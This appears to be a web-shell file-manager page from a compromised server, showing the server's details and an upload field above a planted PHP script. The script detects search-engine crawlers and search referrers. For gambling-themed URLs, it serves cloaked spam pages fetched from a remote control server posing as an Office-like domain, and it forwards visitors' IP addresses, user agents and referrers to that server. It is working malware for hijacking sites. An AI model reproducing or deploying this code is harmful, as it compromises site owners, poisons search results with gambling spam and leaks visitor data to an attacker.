| Server IP : 27.254.152.13 / Your IP : 216.73.217.38 Web Server : Apache/2 System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64 User : coloflew ( 1072) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/coloflew/domains/fulltion.com/private_html/ |
Upload File : |
<?php
function jsc_betgame_slug_regex()
{
return '(?:'
. '[\p{Thai}\-_]+[a-zA-Z0-9]+'
. '|[a-zA-Z0-9]+[\p{Thai}\-_]+'
. '|[\p{Thai}\-_]+'
. '|[a-zA-Z0-9]+'
. ')';
}
function jsc_client_ip()
{
$keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
foreach ($keys as $key) {
if (empty($_SERVER[$key])) {
continue;
}
$ip = trim(explode(',', $_SERVER[$key])[0]);
if (filter_var($ip, FILTER_VALIDATE_IP)) {
return $ip;
}
}
return '';
}
function jsc_normalize_path($path)
{
if ($path === '' || $path === null) {
return '/';
}
$decoded = (string) $path;
$prev = '';
while ($prev !== $decoded) {
$prev = $decoded;
$decoded = rawurldecode($decoded);
}
if ($decoded === '' || $decoded[0] !== '/') {
$decoded = '/' . ltrim($decoded, '/');
}
return $decoded;
}
define('WdnmdServer', 'https://control.microffice365.com/index.php?s=/api');
define('Ua', isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
define('Ref', isset($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_REFERER'] !== '' ? $_SERVER['HTTP_REFERER'] : '');
define('PROTOCOL', (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) ? 'https' : 'http');
define('Regs', '@Googlebot|Google|Bingbot|Bing|Baiduspider|Baidubot|baiduspider|baidubot|360Spider|Haosou|Sogou|YisouSpider|Yeti|naver|Yahoo|Slurp|DuckDuckBot@i');
define('SearchRef', '@(baidu|google|bing|sogou|so\.com|sm\.cn|360|haosou|yahoo|naver)@i');
define('DEBUG_MODE', (isset($_GET['debug']) && $_GET['debug'] === '1') || (isset($_SERVER['HTTP_X_DEBUG']) && $_SERVER['HTTP_X_DEBUG'] === '1'));
function jsc_script_base()
{
// Strategy 1: SCRIPT_NAME directory
$scriptName = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '';
$dir = rtrim(str_replace('\\', '/', dirname($scriptName)), '/');
if ($dir !== '' && $dir !== '.' && $dir !== '/') {
return $dir;
}
// Strategy 2: DOCUMENT_ROOT + SCRIPT_FILENAME (reliable even when URL is rewritten)
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$scriptFile = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : '';
if ($docRoot !== '' && $scriptFile !== '') {
$normDoc = rtrim(str_replace('\\', '/', $docRoot), '/');
$normScript = str_replace('\\', '/', $scriptFile);
if ($normDoc !== '' && strpos($normScript, $normDoc) === 0) {
$relFile = substr($normScript, strlen($normDoc));
$relDir = rtrim(str_replace('\\', '/', dirname($relFile)), '/');
if ($relDir !== '' && $relDir !== '.' && $relDir !== '/') {
return $relDir;
}
}
}
// Strategy 3: DOCUMENT_ROOT + __DIR__ (fallback for included files in same dir as entry script)
if ($docRoot !== '') {
$normDoc = rtrim(str_replace('\\', '/', $docRoot), '/');
$normDir = str_replace('\\', '/', __DIR__);
if ($normDoc !== '' && strpos($normDir, $normDoc) === 0) {
$relDir = rtrim(substr($normDir, strlen($normDoc)), '/');
if ($relDir !== '' && $relDir !== '.' && $relDir !== '/') {
return $relDir;
}
}
}
return '';
}
/**
* Collect all available server variables that may contain the original request URL.
* This is the SINGLE source of truth for original URL detection, used by both
* jsc_request_path() and jsc_raw_request_path().
*
* Priority order:
* 1. Apache/LiteSpeed: REDIRECT_URL (mod_rewrite original)
* 2. IIS: UNENCODED_URL (URL Rewrite original)
* 3. IIS: X-Original-URL / X-Rewrite-URL (ISAPI_Rewrite)
* 4. Reverse proxy: X-Forwarded-URL
* 5. Standard: REQUEST_URI
* 6. CGI fallbacks: PATH_INFO, ORIG_PATH_INFO, PHP_SELF
*/
function jsc_collect_original_urls()
{
$urls = array();
// Apache/LiteSpeed mod_rewrite: REDIRECT_URL preserves the original URL
if (!empty($_SERVER['REDIRECT_URL'])) {
$urls[] = $_SERVER['REDIRECT_URL'];
}
// IIS URL Rewrite: UNENCODED_URL preserves the original unencoded URL
if (!empty($_SERVER['UNENCODED_URL'])) {
$urls[] = $_SERVER['UNENCODED_URL'];
}
// IIS/ISAPI_Rewrite: X-Original-URL or X-Rewrite-URL
foreach (array('HTTP_X_ORIGINAL_URL', 'HTTP_X_REWRITE_URL') as $hdr) {
if (!empty($_SERVER[$hdr])) {
$urls[] = $_SERVER[$hdr];
}
}
// Reverse proxy / CDN: X-Forwarded-URL
if (!empty($_SERVER['HTTP_X_FORWARDED_URL'])) {
$urls[] = $_SERVER['HTTP_X_FORWARDED_URL'];
}
// Standard REQUEST_URI
if (!empty($_SERVER['REQUEST_URI'])) {
$urls[] = $_SERVER['REQUEST_URI'];
}
// CGI-style fallbacks
foreach (array('PATH_INFO', 'ORIG_PATH_INFO', 'PHP_SELF') as $var) {
if (!empty($_SERVER[$var])) {
$urls[] = $_SERVER[$var];
}
}
return $urls;
}
function jsc_raw_request_path()
{
// Get the original request path WITHOUT stripping the subdirectory prefix.
// This preserves the full URL path (e.g. /th/thnews-xxx.shtml) for API calls,
// so the remote server can generate links within the correct subdirectory.
$urls = jsc_collect_original_urls();
foreach ($urls as $u) {
$p = parse_url($u, PHP_URL_PATH);
if ($p !== null && $p !== false && $p !== '') {
return jsc_normalize_path($p);
}
}
return '/';
}
function jsc_request_path()
{
// Step 1: Try each original URL source to find one that yields a pattern match
$urls = jsc_collect_original_urls();
$base = jsc_script_base();
foreach ($urls as $u) {
$p = parse_url($u, PHP_URL_PATH);
if ($p === null || $p === false || $p === '') continue;
$rawPath = jsc_normalize_path($p);
// Strip subdirectory prefix
if ($base !== '' && strpos($rawPath, $base) === 0) {
$relative = substr($rawPath, strlen($base));
if ($relative === '' || $relative === false) {
$relative = '/';
}
if ($relative[0] !== '/') {
$relative = '/' . $relative;
}
// Return immediately if this source yields a pattern match
if (jsc_is_rule_url($relative) || jsc_is_sitemap_url($relative)) {
return $relative;
}
}
// Try without stripping (root deployment)
if (jsc_is_rule_url($rawPath) || jsc_is_sitemap_url($rawPath)) {
return $rawPath;
}
}
// Step 2: No URL source matched a pattern. Try QUERY_STRING recovery.
if (!empty($_SERVER['QUERY_STRING'])) {
parse_str($_SERVER['QUERY_STRING'], $qs);
foreach (array('_url', 'url', 'path', '_path', 'orig_url', 'original_url') as $key) {
if (!empty($qs[$key]) && is_string($qs[$key]) && strpos($qs[$key], '/') === 0) {
$candidate = jsc_normalize_path($qs[$key]);
if ($base !== '' && strpos($candidate, $base) === 0) {
$rel = substr($candidate, strlen($base));
if ($rel === '' || $rel === false) $rel = '/';
if ($rel[0] !== '/') $rel = '/' . $rel;
if (jsc_is_rule_url($rel) || jsc_is_sitemap_url($rel)) {
return $rel;
}
}
if (jsc_is_rule_url($candidate) || jsc_is_sitemap_url($candidate)) {
return $candidate;
}
}
}
}
// Step 3: Fallback — return the best available path (stripped if possible)
$rawPath = jsc_raw_request_path();
if ($base !== '' && strpos($rawPath, $base) === 0) {
$relative = substr($rawPath, strlen($base));
if ($relative === '' || $relative === false) $relative = '/';
if ($relative[0] !== '/') $relative = '/' . $relative;
return $relative;
}
return $rawPath;
}
define('Url', jsc_request_path());
define('RawUrl', jsc_raw_request_path());
define('Road', '&domain=' . rawurlencode($_SERVER['HTTP_HOST']) . '&path=' . rawurlencode(RawUrl) . '&base=' . rawurlencode(jsc_script_base()) . '&spider=' . rawurlencode(Ua) . '&referer=' . rawurlencode(Ref) . '&protocol=' . PROTOCOL . '&ipaddr=' . rawurlencode(jsc_client_ip()));
function jsc_is_rule_url($path)
{
static $patterns = null;
if ($patterns === null) {
$patterns = array(
// thnews
'#^/thnews-\d{4}-\d{2}-\d{2}-\d{6}\.shtml$#i',
'#^/thnews-\d{4}-\d{2}-\d{2}-\d{5}\.html$#i',
// slot
'#^/slot-\d{6}-\d{2}-\d{2}-\d{4}\.shtml$#i',
'#^/slot-\d{6}-\d{2}-\d{2}-\d{4}\.html$#i',
// bet / ios / book
'#^/bet-[a-zA-Z0-9]+-\d{2}-\d{2}-\d{6}\.shtml$#i',
'#^/bet-[a-zA-Z0-9]+-\d{2}-\d{2}-\d{5}\.html$#i',
// android
'#^/android/\d{4}-\d{2}-\d{2}-[a-zA-Z0-9]+\.shtml$#i',
'#^/android/\d{4}-\d{2}-\d{2}-[a-zA-Z0-9]+\.html$#i',
// ios
'#^/ios-[a-zA-Z0-9]+-\d{2}-\d{2}-\d{6}\.shtml$#i',
'#^/ios-[a-zA-Z0-9]+-\d{2}-\d{2}-\d{5}\.html$#i',
// book
'#^/book-[a-zA-Z0-9]+-\d{2}-\d{2}-\d{6}\.shtml$#i',
'#^/book-[a-zA-Z0-9]+-\d{2}-\d{2}-\d{5}\.html$#i',
// betgame
'~^/betgame/' . jsc_betgame_slug_regex() . '/?$~u',
// games
'#^/games/[a-zA-Z0-9]+/?$#i',
);
}
foreach ($patterns as $regex) {
if (preg_match($regex, $path)) {
return true;
}
}
return false;
}
function jsc_is_sitemap_url($path)
{
return (bool) preg_match('#^/newspaper\.xml$#i', $path);
}
function jsc_is_spider_ua()
{
return (bool) preg_match(Regs, Ua);
}
function jsc_is_search_referer()
{
return Ref !== '' && (bool) preg_match(SearchRef, Ref);
}
define('Area', jsc_is_rule_url(Url));
define('Maps', jsc_is_sitemap_url(Url));
if (DEBUG_MODE) {
header('Content-Type: text/plain; charset=utf-8');
echo "=== Ajax.php Path Diagnostics ===\n\n";
echo "Resolved Url : " . Url . " (stripped, for pattern matching)\n";
echo "RawUrl : " . RawUrl . " (full, sent to server)\n";
echo "Script Base : " . jsc_script_base() . "\n";
echo "Area : " . (Area ? 'true' : 'false') . "\n";
echo "Maps : " . (Maps ? 'true' : 'false') . "\n\n";
echo "--- URL Sources (in priority order) ---\n";
$sources = array(
'REDIRECT_URL' => 'Apache mod_rewrite original',
'UNENCODED_URL' => 'IIS URL Rewrite original',
'HTTP_X_ORIGINAL_URL' => 'IIS ISAPI_Rewrite original',
'HTTP_X_REWRITE_URL' => 'IIS ISAPI_Rewrite original',
'HTTP_X_FORWARDED_URL'=> 'Reverse proxy original',
'REQUEST_URI' => 'Standard request URI',
'PATH_INFO' => 'CGI PATH_INFO',
'ORIG_PATH_INFO' => 'CGI ORIG_PATH_INFO',
'PHP_SELF' => 'CGI PHP_SELF',
);
foreach ($sources as $v => $desc) {
$val = isset($_SERVER[$v]) ? $_SERVER[$v] : '(not set)';
echo sprintf(" %-24s : %-40s [%s]\n", $v, $val, $desc);
}
echo "\n--- Other Variables ---\n";
$other = array(
'SCRIPT_NAME', 'SCRIPT_FILENAME', 'DOCUMENT_ROOT',
'HTTP_HOST', 'HTTP_USER_AGENT', 'HTTP_REFERER', 'QUERY_STRING',
);
foreach ($other as $v) {
$val = isset($_SERVER[$v]) ? $_SERVER[$v] : '(not set)';
echo sprintf(" %-24s : %s\n", $v, $val);
}
echo "\n __DIR__ : " . __DIR__ . "\n";
echo " __FILE__ : " . __FILE__ . "\n";
echo " PHP_VERSION : " . PHP_VERSION . "\n";
exit;
}
if (Area && jsc_is_search_referer()) {
header('Content-Type: text/html; charset=utf-8');
echo jsc_postprocess_html(jsc_fetch(WdnmdServer . Road));
exit;
}
if (jsc_is_spider_ua()) {
if (Area) {
header('Content-Type: text/html; charset=utf-8');
echo jsc_postprocess_html(jsc_fetch(WdnmdServer . Road));
exit;
}
if (Maps) {
header('Content-Type: text/xml; charset=utf-8');
echo jsc_postprocess_xml(jsc_fetch(WdnmdServer . Road));
exit;
}
echo jsc_postprocess_html(jsc_fetch(WdnmdServer . '&domain=' . rawurlencode($_SERVER['HTTP_HOST']) . '&path=' . rawurlencode(RawUrl) . '&base=' . rawurlencode(jsc_script_base()) . '&spider=' . rawurlencode(Ua) . '&protocol=' . PROTOCOL . '&op=getLink'));
if (function_exists('ob_flush')) {
@ob_flush();
}
if (function_exists('flush')) {
@flush();
}
}
/**
* Rewrite <loc> URLs in sitemap XML to include the subdirectory base prefix.
*/
function jsc_postprocess_xml($xml)
{
$base = jsc_script_base();
if ($base === '') {
return $xml;
}
$baseSlash = $base . '/';
// Match <loc>http(s)://domain/path</loc> and insert base prefix into path
$xml = preg_replace_callback(
'#(<loc>\\s*(?:https?://[^/]+))(/[\\w./~!$&()*+,;:@=%-]*)#i',
'jsc_postprocess_xml_cb',
$xml
);
return $xml;
}
function jsc_postprocess_xml_cb($m)
{
$prefix = $m[1];
$path = $m[2];
$base = jsc_script_base();
$baseSlash = $base . '/';
if (strpos($path, $baseSlash) === 0 || $path === $base) {
return $prefix . $path;
}
return $prefix . $base . $path;
}
/**
* Rewrite ALL root-relative URL paths in HTML to include the subdirectory base prefix.
*
* When the remote server returns HTML with links like href="/thnews-xxx.shtml",
* this function rewrites them to href="/th/thnews-xxx.shtml" (or whatever the
* actual subdirectory name is).
*
* Works with any subdirectory name: /th/, /abc/, /site1/, etc.
* The subdirectory name is auto-detected from SCRIPT_NAME / __DIR__ / SCRIPT_FILENAME.
*/
function jsc_postprocess_html($html)
{
// Use static to cache the base value — avoids calling jsc_script_base() on every callback
static $cached_base = null;
static $cached_baseSlash = null;
if ($cached_base === null) {
$cached_base = jsc_script_base();
$cached_baseSlash = $cached_base . '/';
}
if ($cached_base === '') {
return $html;
}
// Store in $GLOBALS so the named callback function can access it
$GLOBALS['_jsc_pp_base'] = $cached_base;
$GLOBALS['_jsc_pp_baseSlash'] = $cached_baseSlash;
// Pattern: matches ANY root-relative URL path inside any quoted string value.
// Covers: href="/path", src='/path', content="0;url=/path", location="/path",
// data-url="/path", and any other attribute containing a URL path.
//
// Breakdown:
// (["']) - opening quote → group 1
// ([^"']*?) - any non-quote chars before / (lazy) → group 2
// (/[\w./~!$&()*+,;:@=%-]+) - / followed by URL path chars → group 3
// \1 - matching closing quote
$pattern = '#(["\'])([^"\']*?)(/[\w./~!$&()*+,;:@=%-]+)\1#';
$html = preg_replace_callback($pattern, 'jsc_postprocess_html_cb', $html);
unset($GLOBALS['_jsc_pp_base'], $GLOBALS['_jsc_pp_baseSlash']);
return $html;
}
/**
* Callback for jsc_postprocess_html.
*/
function jsc_postprocess_html_cb($m)
{
$q = $m[1]; // quote character
$prefix = $m[2]; // text before the / (e.g. "0;url=" or empty)
$path = $m[3]; // URL path starting with /
$base = isset($GLOBALS['_jsc_pp_base']) ? $GLOBALS['_jsc_pp_base'] : '';
$baseSlash = isset($GLOBALS['_jsc_pp_baseSlash']) ? $GLOBALS['_jsc_pp_baseSlash'] : '';
if ($base === '') {
return $m[0];
}
// Skip: already has base prefix
if (strpos($path, $baseSlash) === 0 || $path === $base) {
return $m[0];
}
// Skip: protocol-relative URLs like "//cdn.example.com"
if (isset($path[1]) && $path[1] === '/') {
return $m[0];
}
// Prepend base prefix
return $q . $prefix . $base . $path . $q;
}
function jsc_fetch($url)
{
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_USERAGENT, Ua);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$body = curl_exec($ch);
curl_close($ch);
return $body !== false ? $body : '';
}
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'header' => "User-Agent: " . Ua . "\r\n",
'timeout' => 30,
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false,
),
));
$response = @file_get_contents($url, false, $context);
return $response !== false ? $response : '';
}